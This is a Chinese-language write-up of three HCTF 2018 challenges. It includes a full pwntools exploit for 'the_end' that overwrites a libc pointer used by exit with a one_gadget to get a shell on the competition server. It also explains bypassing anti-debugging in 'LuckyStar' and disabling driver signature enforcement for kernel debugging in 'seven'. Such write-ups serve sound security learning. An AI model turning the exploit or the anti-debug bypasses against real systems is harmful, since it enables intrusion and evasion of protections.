HCTF 2018

Catalpa 网络安全爱好者

和师傅们打了一天半的 HCTF,题目质量很高,感谢杭电的师傅们带来的精彩比赛。

the_end

这题大概一看感觉很简单,IDA的伪代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i )
{
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}

把 sleep 函数的地址给出,libc 的基地址也就知道了,紧接着就是 5 次的任意地址写,检查开启的保护发现除了 canary 全部开启,考虑一下 write-what-where,现在只有 where 不知道,而且程序在 read 之后就调用 exit 退出了,貌似没有留下任何的利用空间,那一个自然的思路就是能否利用 exit 函数呢?
赛中我考虑过这一点,但是在 google 上没有找到相关的利用姿势,赛后看了大佬的 wp 发现这道题和 0x00 ctf 2017 的 left 题目相似(为什么我比赛的时候找不到 ORZ),而且这道题更简单一些。
这道题的基本思路就是从 exit 函数入手,由于只知道 libc 的地址,而且修改的时候目的地址必须是可写的,于是我们要寻找类似 call eax 这类动态调用的函数,它们极有可能是从 libc 的可写地址取出的函数。
我们可以通过调试来看,步入 exit 函数(每次都用 si 步入每个函数):
image
这里有一句 call edx,但是跟过去看一下内存:
image
地址是乱掉的,而且观察到 mov 给 edx 之后还有对 edx 的解密操作,这是 libc 为了防止针对 _dl_fini 攻击而采取的措施,加密用到了一个 token,无法泄露。
于是继续跟进,在这里找到了另一处似乎可以利用的代码:
image
call 了 libc 中数据段上的一个位置,这个位置是可写的,我们可以将这个地址覆盖为 one_gadget ,获取 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

debug = 0
if debug == 1:
p = process("./the_end")
elif debug == 0:
token = "KjMul8pLu4iagbDcJVMNCWaFdJ26Pc4y"
p = remote("150.109.44.250", 20002)
p.recvuntil("Input your token:")
p.sendline(token)
context(log_level="DEBUG")
libc = ELF("./libc64.so")
p.recvuntil("here is a gift ")
sleep_addr = int(p.recv(14),16)
log.info("Sleep_addr = 0x%x", sleep_addr)
libc_addr = sleep_addr - libc.symbols["sleep"]
log.success("libc addr : 0x%x" % libc_addr)
one_gadget = libc_addr + 0xf02a4
log.info("one gadget = 0x%x" % one_gadget)
rtld_global = libc_addr + 0x5f0f48
log.info("rtd_global = 0x%x" % rtld_global)

#gdb.attach(p)
p.recvuntil(";)\n")
payload1 = p64(rtld_global)
p.send(payload1)
sleep(1)
p.send(p64(one_gadget)[0])
sleep(1)

payload2 = p64(rtld_global + 1)
p.send(payload2)
sleep(1)
p.send(p64(one_gadget)[1])
sleep(1)

payload3 = p64(rtld_global + 2)
p.send(payload3)
sleep(1)
p.send(p64(one_gadget)[2])
sleep(1)

payload4 = p64(rtld_global + 3)
p.send(payload4)
sleep(1)
p.send(p64(one_gadget)[3])
sleep(1)

payload5 = p64(rtld_global + 4)
p.send(payload5)
sleep(1)
p.send(p64(one_gadget)[4])
sleep(1)

p.sendline("cat flag>&0")
p.interactive()

趁着环境还没关,可以拿到 flag:
image

注意最后发送命令的时候需要重定向输入,因为程序在一开始就 close(1) ,关闭了 stdout,但是不知道为什么,我在本地测试的时候就不能输出 flag,远程就可以了…
需要注意 one gadget 限制的很死,找到的四个只有这一个能用。

这个应该是预期解,但是看到师傅们还有一种做法是改了 vtable,有时间仔细研究一下。

LuckyStar

基本流程

踩了很多坑,踩坑的过程就不写了。。。

首先调用了 TLSCallBack 其中对一个函数(主函数)进行了解密,包括大概两种反调试手段.

之后会执行 start 函数,通常这是编译器自动插入的启动代码,但是在本题中,这个代码被出题人修改过,其中包含一些和flag运算相关的代码。
直接反编译 start 函数,发现伪代码中有许多函数没有有意义的名字,还夹杂着一些虚函数,单从静态代码看很难,所以推荐使用 OD 配合分析。
在 start 函数中会调用之前解密的函数对另一个函数解密,计算输入并且和加密的 flag 进行对比。

分析过程

OD 调试的时候要注意绕过反调试,否则不能正常进入 start 函数。
在 TLSCallBack 函数中存在两处反调试,第一个是遍历所有进程,检查是否存在 IDA OD 或者 x32DBG等工具,将程序中硬编码的字符串 patch 掉即可绕过。
image
上图是我 patch 之后的效果,再次运行就能绕过这个反调试。

第二处采用系统调用 zwsetinformationthread,并设置函数参数为

1
ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, NULL, 0);

将当前进程隐藏(注意第二个参数是 0x11),调试器无法继续跟踪,通过修改此函数的参数即可绕过。
单步到对应的位置处(push 0x11),我将 push 到栈上的 0x11 改成 -2,绕过这个反调试。

patch 掉反调试之后,可以发现解密第一个函数的算法:
image
先 srand 设置随机数种子,然后对 0x401780 开始的 440 个字节进行解密,算法在伪代码中很清晰,我编写了一个 C 程序获取随机数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <stdlib.h>

int main()
{
srand(0x61616161);
int token[1000];
int i;
for(i = 0; i < 1000; i++)
{
token[i] = rand() % 0x2018;
}
for(i = 0; i < 1000; i++)
{
printf("0x%02x,",token[i]);
}
}

还有一个 IDA-Python 脚本将函数解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
a = 0x417000
b = a + 8327168
select = []
while a <=b :
select.append(Byte(a))
a += 1
token = [*] # 随机数太长,这里就不写出来了。。。
v11 = 0x401780
v12 = 440
tt = 0
while v12 > 0:
v11 = v11 + 1
PatchByte(v11 - 1, Byte(v11 - 1) ^ select[token[tt]])
tt += 1
v12 -= 1

经过清洗的函数可以正常反编译成伪代码(注意可能需要先对代码按 U 键全部取消解析,然后再 C 键转换成代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
int __usercall sub_401780@<eax>(int a1@<ebp>, int a2@<edi>, int a3@<esi>)
{
signed int v3; // esi
int v4; // ST08_4
int v5; // ST0C_4
int v6; // ST10_4
int v7; // ST14_4
int v8; // ST18_4
int v9; // ST1C_4
int v10; // ST20_4
int v11; // ST24_4
int v12; // ecx
const char *v13; // eax
int v15; // [esp-CCh] [ebp-D8h]
int v16; // [esp-C8h] [ebp-D4h]
int v17; // [esp-C4h] [ebp-D0h]
int v18; // [esp-C0h] [ebp-CCh]
int v19; // [esp-BCh] [ebp-C8h]
int v20; // [esp-B8h] [ebp-C4h]
int v21; // [esp-B4h] [ebp-C0h]
int v22; // [esp-B0h] [ebp-BCh]
int v23; // [esp-ACh] [ebp-B8h]
int v24; // [esp-A8h] [ebp-B4h]
int v25; // [esp-A4h] [ebp-B0h]
int v26; // [esp-A0h] [ebp-ACh]
int v27; // [esp-9Ch] [ebp-A8h]
int v28; // [esp-98h] [ebp-A4h]
int v29; // [esp-94h] [ebp-A0h]
int v30; // [esp-90h] [ebp-9Ch]
int v31; // [esp-8Ch] [ebp-98h]
int v32; // [esp-88h] [ebp-94h]
int v33; // [esp-84h] [ebp-90h]
int v34; // [esp-80h] [ebp-8Ch]
int v35; // [esp-7Ch] [ebp-88h]
int v36; // [esp-78h] [ebp-84h]
int v37; // [esp-74h] [ebp-80h]
int v38; // [esp-70h] [ebp-7Ch]
int v39; // [esp-6Ch] [ebp-78h]
int v40; // [esp-68h] [ebp-74h]
int v41; // [esp-64h] [ebp-70h]
int v42; // [esp-60h] [ebp-6Ch]
int v43; // [esp-5Ch] [ebp-68h]
int v44; // [esp-58h] [ebp-64h]
int v45; // [esp-54h] [ebp-60h]
int v46; // [esp-50h] [ebp-5Ch]
int v47; // [esp-4Ch] [ebp-58h]
int v48; // [esp-48h] [ebp-54h]
int v49; // [esp-44h] [ebp-50h]
int v50; // [esp-40h] [ebp-4Ch]
int v51; // [esp-3Ch] [ebp-48h]
int v52; // [esp-38h] [ebp-44h]
int v53; // [esp-34h] [ebp-40h]
__int128 v54; // [esp-30h] [ebp-3Ch]
__int64 v55; // [esp-20h] [ebp-2Ch]
int v56; // [esp-18h] [ebp-24h]
__int16 v57; // [esp-14h] [ebp-20h]
unsigned int v58; // [esp-4h] [ebp-10h]
int v59; // [esp+0h] [ebp-Ch]
int v60; // [esp+4h] [ebp-8h]
int retaddr; // [esp+Ch] [ebp+0h]

v59 = a1;
v60 = retaddr;
v58 = (unsigned int)&v59 ^ __security_cookie;
v15 = a3;
CreateThread(0, 0, StartAddress, 0, 0, 0);
sub_401020("%s\n");
while ( !dword_40737C )
{
Sleep(0x7D0u);
sub_401020(">");
}
sub_401020("\n");
v3 = 0;
do
*((_BYTE *)&loc_4015E0 + v3++) ^= byte_417000[rand() % 8216];
while ( v3 < 383 );
sub_401020("Shining!\n");
system("cls");
v56 = 0;
v54 = 0i64;
v55 = 0i64;
v57 = 0;
memset(&v36, 0, 0x46u);
sub_401020("My Darling Darling Please!\ninput your key!\n");
sub_401050("%29s", (unsigned int)&v54);
((void (__stdcall *)(__int128 *, int *, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, _DWORD))loc_4015E0)(
&v54,
&v36,
v4,
v5,
v6,
v7,
v8,
v9,
v10,
v11,
a2,
v15,
v16,
v17,
v18,
v19,
v20,
v21,
v22,
v23,
v24,
v25,
v26,
v27,
v28,
v29,
v30,
v31,
v32,
v33,
v34,
v35,
v36,
v37,
v38,
v39,
v40,
v41,
v42,
v43,
v44,
v45,
v46,
v47,
v48,
v49,
v50,
v51,
v52,
v53,
v54);
*(_OWORD *)&v18 = xmmword_403520;
*(_OWORD *)&v22 = xmmword_403530;
v34 = 0;
LOWORD(v35) = 0;
*(_OWORD *)&v26 = 0i64;
*(_OWORD *)&v30 = 0i64;
v12 = strcmp((const char *)&v36, (const char *)&v18);
if ( v12 )
v12 = -(v12 < 0) | 1;
v13 = "Maybe next year";
if ( !v12 )
v13 = "Nice Job~";
sub_401020(v13);
system("pause");
return 0;
}

其他位置还比较好看,但是中间有一个函数不正常,这就是第二个要解密的函数,观察解密算法,和第一个函数的算法一样,但是如果你尝试使用第一个脚本解密的话,是不能正常解出来的。
猜想原因就是随机数种子不再是 0x61616161 了,在程序运行中 srand 进行了更换。

下一步就是找到哪里更换了随机数种子,继续调试,单步到 start 函数(或者参考 IDA 的地址直接下断点),分析 start 函数,抛开前面的初始化流程不看,在第 44 行发现了一个异常函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void *__usercall sub_402510@<eax>(signed int a1@<eax>)
{
signed int v1; // eax
int v2; // ebx
signed int v4; // [esp-8h] [ebp-Ch]
signed int v5; // [esp-4h] [ebp-8h]

v5 = a1;
v4 = a1;
(*(a1 - 20))(-1, &v4);
v1 = v5;
if ( v4 )
v5 = 268439909;
else
v5 = 'hctf';
v2 = v1 - 17044;
(*(v1 - 17044))(v5);
(*(v2 - 4))();
return &unk_407384;
}

“hctf” 四个大字摆在这里,这个函数应该比较重要。
不巧的是函数里调用了 3 个虚函数,静态没办法确定它们是什么,于是使用 OD 进行动态调试,在这个函数下断点,直接运行就可以断在这里:
image

单步就可以确定三个函数是什么了,第一个是反调试,调用了 checkremotedebuggerpresent 进行检测,这个可以不管他,直接步过就好,下面两个函数分别是 srand 和 rand,很明显了,就是在这里将随机数种子换掉了,那换成什么了呢?动态调试发现被换成了 0x10001165 ,但是如果拿这个种子生成随机数去解密第二个函数的话,解出来的都是错误代码,说明随机数种子不应该是它,那么猜想应该是 0x68637466 ,即 “hctf”,经验证是正确的。
再次编写两个小程序去解密函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include<stdlib.h>

int main()
{
srand(0x68637466);
int token[1000];
int i;
for(i = 0; i < 1000; i++)
{
token[i] = rand() % 0x2018;
}
for(i = 0; i < 1000; i++)
{
printf("0x%02x,",token[i]);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
a = 0x417000
b = a + 8327168
select = []
while a <=b :
select.append(Byte(a))
a += 1
token2 = [*]
v11 = 0x4015e0
v12 = 383
tt = 1 # 注意这个是 1 !!!
while v12 > 0:
v11 = v11 + 1
PatchByte(v11 - 1, Byte(v11 - 1) ^ select[token2[tt]])
tt += 1
v12 -= 1

这样就可以把第二个函数解密出来了!

现在整个程序的主要逻辑已经被完全解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
char __cdecl sub_4015E0(const char *a1, const char *a2)
{
int v2; // esi
unsigned int v3; // kr00_4
signed int v4; // edi
int v5; // ecx
const char *v6; // eax
int v7; // eax
char v8; // al
int v9; // ecx
int v10; // ecx
unsigned int v11; // ecx
int v12; // eax
char v13; // al
signed int v14; // edi
char result; // al
signed int v16; // esi
int v17; // eax
char v18; // cl
signed int v19; // [esp+Ch] [ebp-8h]
signed int v20; // [esp+10h] [ebp-4h]

v2 = 0;
v3 = strlen(a1);
v4 = 0;
v20 = 4 * v3 / 3;
if ( v20 > 0 )
{
do
{
v5 = v4 & 3;
if ( v4 & 3 )
{
v8 = a1[v2 - 1];
if ( v5 == 1 )
{
v9 = a1[v2++];
v7 = (v9 >> 4) | 16 * (v8 & 3);
}
else if ( v5 == 2 )
{
v10 = a1[v2++];
v7 = (v10 >> 6) | 4 * (v8 & 0xF);
}
else
{
v7 = v8 & 0x3F;
}
}
else
{
v6 = &a1[v2++];
v7 = *v6 >> 2;
}
a2[v4++] = byte_4033C8[v7];
}
while ( v4 < v20 );
}
if ( strlen(a1) % 3 == 1 )
{
v11 = 4 * v3 / 3;
v12 = 16 * (a1[v2 - 1] & 3);
*&a2[v20 + 1] = 15677;
v13 = byte_4033C8[v12];
}
else
{
if ( strlen(a1) % 3 != 2 )
goto LABEL_15;
v11 = 4 * v3 / 3;
v13 = byte_4033C8[4 * (a1[v2 - 1] & 0xF)];
a2[v20 + 1] = 61;
}
a2[v11] = v13;
LABEL_15:
a2[strlen(a2)] = 0;
v14 = 0;
v19 = strlen(a2);
if ( v19 > 0 )
{
do
{
v16 = 6;
do
{
v17 = rand() % 4;
v18 = v16;
v16 -= 2;
result = v17 << v18;
a2[v14] ^= result;
}
while ( v16 > -2 );
++v14;
}
while ( v14 < v19 );
}
return result;
}

对输入的 flag 做一次 BASE64 编码,注意这里的表盘被换掉了,然后取随机数对每个字节异或 4 次,循环进行,直到所有字符处理完毕。
算法很简单,由于异或可逆,那么现在只缺少密文了,观察第一个解密出来的函数发现,比较 flag 是否正确的代码就在其中,那么通过动态调试就能拿到密文!
image

将密文抽取出来,通过逆向算法可以拿到 BASE64 编码后的 flag(注意随机数的起始位置):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
v14 = 0
token = [0x59c4,0x124,0xb5a,0x29a4,0x1e32,0x7fb4,0x5560,0x7eb5,0x78d4,0x88f,0x7dc6,0x14d9,0x7faa,0x3288,0x75ab,0x3801,0x30f1,0x1cb8,0x524c,0x10c4,0x19f4,0x4a0c,0x4a7a,0x7c01,0x6025,0x5600,0x284c,0x5c6,0x606c,0x66a9,0x311,0xb70,0x58bf,0x7ff9,0x5588,0x4914,0x4ff3,0x1c3f,0x4454,0x561e,0x2fd2,0x2ded,0x28aa,0x5538,0x456d,0x6e9e,0x334d,0x5b6e,0x1bb4,0x1f57,0x3bbc,0x528f,0x6443,0x1e0d,0xfa9,0x5ad6,0x627f,0x7468,0x56ae,0x6fc9,0xce2,0x43c7,0x5e3c,0x5462,0x5893,0x3284,0x61d4,0xa6d,0x633a,0x3e79,0x2379,0x5931,0x6f12,0x18c3,0x6865,0x2752,0x6540,0x6ec5,0x2dfb,0x2bf6,0x5263,0x4470,0x2afd,0x3b27,0x116c,0x43c2,0x70ff,0x3179,0x18b0,0x258d,0x421b,0x42ec,0x1d3b,0x177a,0x6ee7,0x3113,0x67,0x434d,0x50a4,0x2c76,0x3bae,0x5b6b,0x33b8,0x6536,0x3ebd,0x5099,0x465f,0xeef,0x73c9,0x1506,0x5f9d,0x5be2,0x5e26,0x108c,0x3277,0x3354,0x716,0x2a33,0x4162,0x2731,0x2cdf,0xaf7,0x25fc,0x6cf5,0x6820,0x7dcb,0xfa,0x5dcc,0x3b64,0x10dd,0x2661,0x41f8,0x40f8,0x5c1c,0x59fa,0x6b74,0x6afa,0x10f8,0x2fff,0x63d7,0x9b3,0x3768,0x661b,0x317a,0xc27,0x3c32,0x4892,0x77dd,0x2ee9,0x3467,0x77bb,0x7747,0xd34,0x7a2c,0x21b7,0x2fad,0x4838,0x6c0,0x45d,0x2ad5,0x38b2,0x2dbb,0x4b74,0x31bc,0x5ebf,0x1d94,0x1f25,0x7134,0x3f2,0x4966,0x76af,0x51d1,0x43a4,0x1ff4,0x35d,0x706,0x6d8b,0x33ea,0x47b6,0x198c,0x768f,0x3966,0x2ef3,0x7103,0x6bd8,0x7cb6,0x38b6,0x20dc,0x1c2c,0x3664,0xcf8,0x7c76,0x6b78,0x606f,0xc43,0x3687,0x4ac,0x70dc,0x3022,0xfbe,0x5dcc,0x1d6d,0x4fd7,0x58a7,0x4244,0xcb1,0x1d4b,0x4ace,0x577d,0x183d,0x6e4b,0x7d27,0x4fad,0x438,0x25f0,0x77ad,0x3ef3,0x501d,0x525f,0x2a4a,0x46a3,0x4bc,0x52b3,0x4af7,0xadf,0x2382,0x1938,0x5f24,0x2667,0x1afb,0x5dda,0x745a,0x10b1,0x6495,0x54dd,0x4c1f,0x2a3d,0x2fa7,0x3dce,0x7f1a,0x6323,0x3db1,0x5eb9,0x5b77,0x2fee,0x53e6,0x3f9c,0x28d,0x40ac,0x65e7,0x3a1c,0x9be,0x2e46,0x5dd2,0x3177,0x229f,0x120e,0x257b,0x6ba,0xe59,0x3b97,0x54f9,0x1d34,0x6050,0x78c9,0x2a65,0x32a,0x5402,0x2434,0x2ede,0x12cc,0x3a31,0x6da5,0x2cd0,0x1f68,0x4144,0x10f7,0x5b76,0x2de,0x1ceb,0x6f2c,0x639e,0x1f54,0x5102,0x3dbd,0x21ad,0x292a,0x23b8,0x402d,0x48e2,0x4d30,0x7af0,0x3fe4,0x4bdf,0x717,0x28e7,0x363b,0x2e65,0x3c26,0x6c17,0x5cd4,0x245f,0x6e2e,0x265c,0x182c,0x2222,0x1ac0,0xf56,0x7073,0x41f3,0x1a9d,0x660e,0xc9b,0x22c9,0x156e,0x65dc,0x63af,0x2455,0x5db6,0x288,0x1866,0x2440,0x4904,0x2faf,0x32f8,0x20b4,0x586d,0x3768,0x2d30,0x641d,0x4539,0x6428,0x4c2,0x1e31,0x45dd,0x1e3,0x47e0,0xe2e,0x1f2a,0x7a74,0x5008,0x2262,0x55c3,0x113f,0x1f20,0x30f1,0x13d4,0x215,0x12c4,0x2dd3,0x1701,0x758,0x61df,0x21c,0x3a9d,0xb5f,0x1878,0x6880,0x721d,0x91b,0x5cf,0x7316,0x47cc,0x5ffb,0x50a9,0x1e5c,0x33c0,0x1f0e,0x25e8,0x157c,0x5f0c,0xb68,0x355e,0xbcd,0x2737,0x65c6,0x70e3,0x4f9d,0x75ed,0x3375,0x41a5,0x7a2e,0x40f5,0xe6f,0x27c0,0x60fe,0x4663,0x40c8,0x780f,0x2c4b,0x590f,0x2f48,0x2c41,0x36d7,0x5145,0x575a,0x792f,0x1ae9,0x75be,0x6424,0x1f6c,0x1094,0x70cf,0x1ef8,0x2a1e,0x13b,0x25e1,0x3eeb,0x100d,0x7455,0x7b21,0x5bc3,0x6afa,0x396e,0x6b79,0x817,0x3932,0x736e,0x74be,0x56b1,0x5d63,0x691e,0x362b,0x4f37,0x50ad,0x3ee8,0x530e,0x160b,0x3afc,0x7ddf,0x6dc1,0x4b6f,0x6596,0xbff,0x4edc,0x65ed,0x3bf0,0x79b5,0xca9,0xbf6,0x4ec6,0x48a2,0x46d8,0x30c9,0xd6a,0xf9c,0x4a74,0x7896,0x295d,0x1ff5,0x3216,0x27e3,0x581c,0x1000,0x5659,0x2230,0x673c,0x4ed2,0x228d,0x3bd6,0x56b9,0x2546,0x21b0,0x6335,0x6d8c,0x4844,0x579a,0x650e,0x7c7b,0x6042,0x3a77,0x502e,0x4335,0x2a0a,0x607a,0x3c4d,0x2b9e,0x14be,0x35d0,0x7835,0x4f68,0x11a,0x4ed3,0x6327,0x7be3,0x5fa,0x2a81,0x757a,0x2816,0x5e1c,0x792c,0x3c85,0x110e,0x6326,0x3b72,0x4dbf,0x7076,0x39eb,0x4d70,0x7525,0x168,0x13ea,0x3233,0x22dc,0x4783,0x2a17,0x336f,0x5c18,0x4c3e,0x54df,0x2974,0x333c,0x467b,0x6566,0x7f5d,0xb43,0x6060,0x2413,0x478b,0x2a5e,0xf62,0x184e,0x7452,0x5fde,0x32a2,0x7d88,0x8f1,0x4155,0x6b7d,0x97c,0x56c8,0x42f8,0x645e,0x67b5,0x1ac5,0x2f48,0x79d7,0xe51,0xf20,0x41f2,0x79f1,0x5004,0x4548,0x69f3,0x6dc0,0x4f60,0x5c1d,0x76ff,0x213a,0x3753,0x665f,0x3624,0x5d49,0x5cf1,0x1566,0x41ab,0x81e,0x2e73,0x7c14,0x83f,0x1fc9,0x1380,0x7e09,0x4f51,0x4306,0x22ac,0x3f15,0x34ba,0x3c5a,0x503f,0x26f3,0x73a2,0x435f,0x7a37,0x4d34,0x70a1,0x685c,0x7590,0x6179,0x5125,0x5e19,0xc2,0x63e5,0x2214,0x15f2,0x3f8c,0x41d2,0x51b2,0x6229,0x23f0,0x2ac3,0xc4,0x1281,0x687f,0x319a,0x6ef6,0x3f08,0x7fd6,0xe0c,0x67a,0x3534,0x1d69,0x1251,0x4af2,0x3b31,0x3b7f,0x2920,0x2f90,0x1d7a,0x427e,0x6fda,0x187b,0x3aa7,0x3569,0x4106,0xb75]
flag = ""
enc = [0x49,0xE6,0x57,0xBD,0x3A,0x47,0x11,0x4C,0x95,0xBC,0xEE,0x32,0x72,0xA0,0xF0,0xDE,0xAC,0xF2,0x83,0x56,0x83,0x49,0x6E,0xA9,0xA6,0xC5,0x67,0x3C,0xCA,0xC8,0xCC,0x05]
k = 0
i = 0
tar = []
v16 = 0
flag = ""
while i < len(token):
v16 = 6
while v16 > -2:
v17 = token[i] % 4
v18 = v16
v16 -= 2
res = ((v17 & 0xff) << (v18 & 0xff)) & 0xff
tar.append(res)
i += 1
i = 0
while i < len(enc):
temp = enc[i]
temp = temp ^ tar[k + 3]
temp = temp ^ tar[k + 2]
temp = temp ^ tar[k + 1]
temp = temp ^ tar[k + 0]
k += 4
i += 1
flag += chr(temp)
print(flag)

image

利用 BASE64 解码(注意更换表盘),即可拿到flag。
image

flag: hctf{1zumi_K0nat4_Mo3}

小总结

这道题目涉及到一些反调试手段和动态代码解密、以及 TLS 等知识,做题时还是要有耐心,这道题我调了很久才做出来(恶心到了。。。)中间放弃了一段时间,做出来之后发现其实没有那么难。

PS: 吐槽一下配的音乐,真的太魔性了 ORZ。。。

seven

双机调试

这是一道 Windows 64位的驱动逆向题目,之前没有做过关于驱动的逆向,做完这道题感觉驱动其实和一般的可执行程序类似,最主要的区别就是驱动和系统内核是有关系的,它需要先被加载到内核中,才能够随着内核一起运行。
在静态分析方面,驱动涉及到一些特殊的函数,主要的算法逻辑没有什么太大的变化,需要注意的一点是函数参数,因为在运行驱动的时候调用的函数是 iocalldriver 等,参数在静态分析时不好发现,于是需要结合动态调试手段。
之前说驱动和一般的可执行程序不一样就体现在调试的方法上,由于驱动是和内核绑在一块的,所以我们得调试系统内核,把操作系统看成一个软件,驱动只是这个软件中的一小部分。
调试 windows 内核微软官方给出的推荐就是 双机调试,即拿来两台电脑,一台作为调试者,另一台最为目标机器,在调试机上面使用 windbg 通过某些连接方式对另一台机器的操作系统进行调试,两台电脑的开销太高了,现在最常用的调试内核的手段就是 主机 + 虚拟机,虚拟机推荐使用 VMware。
首先搭建内核的调试环境,参考博客
博客给出的步骤已经很详细了,大致分为:

  1. 配置虚拟机的管道,通过新增串口为虚拟机添加管道。
  2. 配置主机的 windbg 启动选项,可以通过快捷方式参数来实现。
  3. 配置虚拟机的开机引导项,新增调试模式。
  4. 以调试模式启动虚拟机,并在启动过程中使用 windbg 附加上去。

环境搭建并不困难,重点是接下来的调试过程,由于调试的是驱动,那么首先要把它安装好,可以使用 cmd 命令直接安装,也可以使用工具 OSRLoader,这个工具图形化操作比较方便。
在加载驱动之前,先要取消系统对驱动数字签名的验证,并设置一些其他的东西,可以参考以下命令:

1
2
3
4
5
6
bcdedit /copy {current} /d "Windwos7" 建立一个新的启动项。
bcdedit /debug ON
bcdedit /bootdebug ON 设置新的启动项。
bcdedit /dbgsettings 查看当前的调试配置:
bcdedit /timeout 10 选择菜单的超时,我设置为10秒
bcdedit -set TESTSIGNING on 设置允许加载不受信任的驱动

如果使用命令行,可以用 sc :

1
2
3
4
sc query type= driver 可以查看驱动列表
sc create <起个名字> binPath= <驱动路径> type= <驱动模式,一般是 kernel> 这条命令加载一个驱动
sc stop <驱动名字> 停止一个驱动
sc delete <驱动名字> 删除一个驱动

开始调试

首先将 windbg 附加到虚拟机上,如果不出意外的话,控制台应该会显示以下内容:
image

现在已经在内核断下,按 F5 键运行,直到虚拟机可以正常操作。
接着在 windbg 断下系统(上方工具栏中的按钮),在控制台输入命令

1
sxe ld seven.sys

意思就是当 seven 这个驱动加载起来的时候就自动断下。
设置好后继续运行,按照上面的命令把驱动加载起来,如果设置没什么问题,在执行 sc start 之后就会断下来。
image
如上图,使用 OSR 软件加载驱动,点击 start 之后就会断下来。

但是断点所在的位置不是驱动的入口点,而是 ntdll.dll 中的某一处,我们需要使用命令 lm 来找到 seven 的入口位置:
image

蓝色方框就是模块的起始地址,结合 IDA 中的偏移量,可以在相应的函数下断点。
通过 IDA 分析驱动,发现主要逻辑函数在于 sub_140012f0 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
__int64 __fastcall sub_1400012F0(__int64 a1, __int64 a2)
{
__int64 v2; // rbx
__int64 v3; // rsi
unsigned __int64 v4; // rdx
int v5; // ecx
__int16 *v6; // rdi
__int64 v7; // rbp
__int16 v8; // dx
char v9; // dl
CHAR *v10; // rcx

v2 = a2;
if ( *(a2 + 0x30) >= 0 )
{
v3 = *(a2 + 0x18);
v4 = (*(a2 + 56) * 0xAAAAAAAAAAAAAAABui64 >> 64) >> 3;
if ( v4 )
{
v5 = dword_1400030E4;
v6 = (v3 + 2);
v7 = v4;
while ( *(v3 + 4) )
{
LABEL_30:
v6 += 6;
if ( !--v7 )
goto LABEL_31;
}
aO[v5] = '.';
v8 = *v6;
if ( *v6 == 17 )
{
if ( v5 & 0xFFFFFFF0 )
{
v5 -= 16;
goto LABEL_13;
}
v5 += 208;
dword_1400030E4 = v5;
}
if ( v8 != 31 )
goto LABEL_14;
if ( (v5 & 0xFFFFFFF0) == 0xD0 )
v5 -= 208;
else
v5 += 16;
LABEL_13:
dword_1400030E4 = v5;
LABEL_14:
if ( v8 == 30 )
{
if ( v5 & 0xF )
--v5;
else
v5 += 15;
dword_1400030E4 = v5;
}
if ( v8 == 32 )
{
if ( (v5 & 0xF) == 15 )
v5 -= 15;
else
++v5;
dword_1400030E4 = v5;
}
v9 = aO[v5];
if ( v9 == '*' )
{
v10 = "-1s\n";
}
else
{
if ( v9 != '7' )
{
LABEL_29:
aO[v5] = 'o';
goto LABEL_30;
}
v10 = "The input is the flag!\n";
}
dword_1400030E4 = 16;
DbgPrint(v10);
v5 = dword_1400030E4;
goto LABEL_29;
}
}
LABEL_31:
if ( *(v2 + 65) )
*(*(v2 + 184) + 3i64) |= 1u;
return *(v2 + 48);
}

实际上如果对驱动比较熟悉的话,逻辑并不难,由于驱动加载了 kdbclass.sys:

1
v8 = L"\\Driver\\kbdclass";

所以代码中的一些判断都是基于键盘驱动号的,比如 0x11 对应字符 ‘w’ 等等,通过分析得出结论,程序对
w a s d 这四个按键进行判断,其他输入不会产生影响。

1
2
附:键盘的硬件扫描码
https://blog.csdn.net/firas/article/details/26267573

确定了断点位置,使用命令 bp fffff880`032a7000+12f0 就可以在关键函数下断点,紧接着 f5 继续运行,当在虚拟机中输入一个字符(在键盘上按下任意一个键),windbg就会再次断下,这回位置就在关键函数的入口。
image

image

